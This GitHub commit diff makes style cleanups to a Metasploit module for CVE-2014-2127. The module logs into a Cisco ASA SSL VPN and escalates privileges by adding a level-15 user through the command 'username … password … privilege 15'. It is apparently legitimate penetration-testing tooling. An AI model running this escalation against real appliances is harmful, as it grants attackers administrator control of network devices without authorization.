Skip to content

Commit 5091bc7

Browse files
committed
Do minor cleanup
1 parent c92a26e commit 5091bc7

File tree

1 file changed

+23
-28
lines changed

1 file changed

+23
-28
lines changed

modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb

Lines changed: 23 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -28,12 +28,11 @@ def initialize(info = {})
2828
'License' => MSF_LICENSE,
2929
'References' =>
3030
[
31-
[ 'CVE', '2014-2127'],
32-
[ 'URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa' ],
33-
[ 'URL', 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt' ]
31+
['CVE', '2014-2127'],
32+
['URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa'],
33+
['URL', 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt']
3434
],
35-
'DisclosureDate' => "Apr 9 2014",
36-
35+
'DisclosureDate' => 'Apr 09 2014'
3736
))
3837

3938
register_options(
@@ -56,8 +55,8 @@ def validate_cisco_ssl_vpn
5655
'method' => 'GET'
5756
)
5857

59-
vprint_good "#{peer} - Server is responsive"
60-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
58+
vprint_good("#{peer} - Server is responsive")
59+
rescue ::Rex::ConnectionError, ::Errno::EPIPE
6160
return false
6261
end
6362

@@ -94,7 +93,7 @@ def do_logout(cookie)
9493

9594
if res &&
9695
res.code == 200
97-
vprint_good "#{peer} - Logged out"
96+
vprint_good("#{peer} - Logged out")
9897
end
9998
end
10099

@@ -107,11 +106,7 @@ def run_command(cmd, cookie)
107106
'cookie' => cookie
108107
)
109108

110-
if res
111-
return res
112-
else
113-
return nil
114-
end
109+
res
115110
end
116111

117112
def do_show_version(cookie, tries = 3)
@@ -124,8 +119,8 @@ def do_show_version(cookie, tries = 3)
124119
resp.body.include?('Cisco Adaptive Security Appliance Software Version')
125120
return resp.body
126121
else
127-
vprint_error "#{peer} - Unable to run '#{command}'"
128-
vprint_good "#{peer} - Retrying #{i} '#{command}'" unless i == 2
122+
vprint_error("#{peer} - Unable to run '#{command}'")
123+
vprint_good("#{peer} - Retrying #{i} '#{command}'") unless i == 2
129124
end
130125
end
131126

@@ -137,18 +132,18 @@ def add_user(cookie, tries = 3)
137132
password = random_password
138133

139134
tries.times do |i|
140-
vprint_good "#{peer} - Attemping to add User: #{username}, Pass: #{password}"
135+
vprint_good("#{peer} - Attemping to add User: #{username}, Pass: #{password}")
141136
command = "username #{username} password #{password} privilege 15"
142137
resp = run_command(command, cookie)
143138

144139
if resp &&
145140
!resp.body.include?('Command authorization failed') &&
146141
!resp.body.include?('Command failed')
147-
vprint_good "#{peer} - Privilege Escalation Appeared Successful"
142+
vprint_good("#{peer} - Privilege Escalation Appeared Successful")
148143
return [username, password]
149144
else
150-
vprint_error "#{peer} - Unable to run '#{command}'"
151-
vprint_good "#{peer} - Retrying #{i} '#{command}'" unless i == tries - 1
145+
vprint_error("#{peer} - Unable to run '#{command}'")
146+
vprint_good("#{peer} - Retrying #{i} '#{command}'") unless i == tries - 1
152147
end
153148
end
154149

@@ -200,29 +195,29 @@ def do_login(user, pass, group)
200195
resp.body.include?('SSL VPN Service') &&
201196
resp.body.include?('webvpn_logout')
202197

203-
vprint_good "#{peer} - Logged in with User: #{datastore['USERNAME']}, Pass: #{datastore['PASSWORD']} and Group: #{datastore['GROUP']}"
198+
vprint_good("#{peer} - Logged in with User: #{datastore['USERNAME']}, Pass: #{datastore['PASSWORD']} and Group: #{datastore['GROUP']}")
204199
return resp.get_cookies
205200
else
206201
return false
207202
end
208203

209-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
204+
rescue ::Rex::ConnectionError, ::Errno::EPIPE
210205
return false
211206
end
212207
end
213208

214209
def run_host(ip)
215210
# Validate we're dealing with Cisco SSL VPN
216211
unless validate_cisco_ssl_vpn
217-
vprint_error "#{peer} - Does not appear to be Cisco SSL VPN"
212+
vprint_error("#{peer} - Does not appear to be Cisco SSL VPN")
218213
:abort
219214
end
220215

221216
# This is crude, but I've found this to be somewhat
222217
# interimittent based on session, so we'll just retry
223218
# 'X' times.
224219
datastore['RETRIES'].times do |i|
225-
vprint_good "#{peer} - Exploit Attempt ##{i}"
220+
vprint_good("#{peer} - Exploit Attempt ##{i}")
226221

227222
# Authenticate to SSL VPN and get session cookie
228223
cookie = do_login(
@@ -233,7 +228,7 @@ def run_host(ip)
233228

234229
# See if our authentication attempt failed
235230
unless cookie
236-
vprint_error "#{peer} - Failed to login to Cisco SSL VPN"
231+
vprint_error("#{peer} - Failed to login to Cisco SSL VPN")
237232
next
238233
end
239234

@@ -242,10 +237,10 @@ def run_host(ip)
242237

243238
if version &&
244239
version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/)
245-
print_good "#{peer} - Show version succeeded. Version is Cisco ASA #{version_match[1]}"
240+
print_good("#{peer} - Show version succeeded. Version is Cisco ASA #{version_match[1]}")
246241
else
247242
do_logout(cookie)
248-
vprint_error "#{peer} - Show version failed"
243+
vprint_error("#{peer} - Show version failed")
249244
next
250245
end
251246

@@ -254,7 +249,7 @@ def run_host(ip)
254249
do_logout(cookie)
255250

256251
if creds
257-
print_good "#{peer} - Successfully added level 15 account #{creds.join(", ")}"
252+
print_good("#{peer} - Successfully added level 15 account #{creds.join(", ")}")
258253

259254
user, pass = creds
260255

@@ -270,7 +265,7 @@ def run_host(ip)
270265

271266
report_auth_info(report_hash)
272267
else
273-
vprint_error "#{peer} - Failed to created user account on Cisco SSL VPN"
268+
vprint_error("#{peer} - Failed to created user account on Cisco SSL VPN")
274269
end
275270
end
276271
end

0 commit comments

Comments
 (0)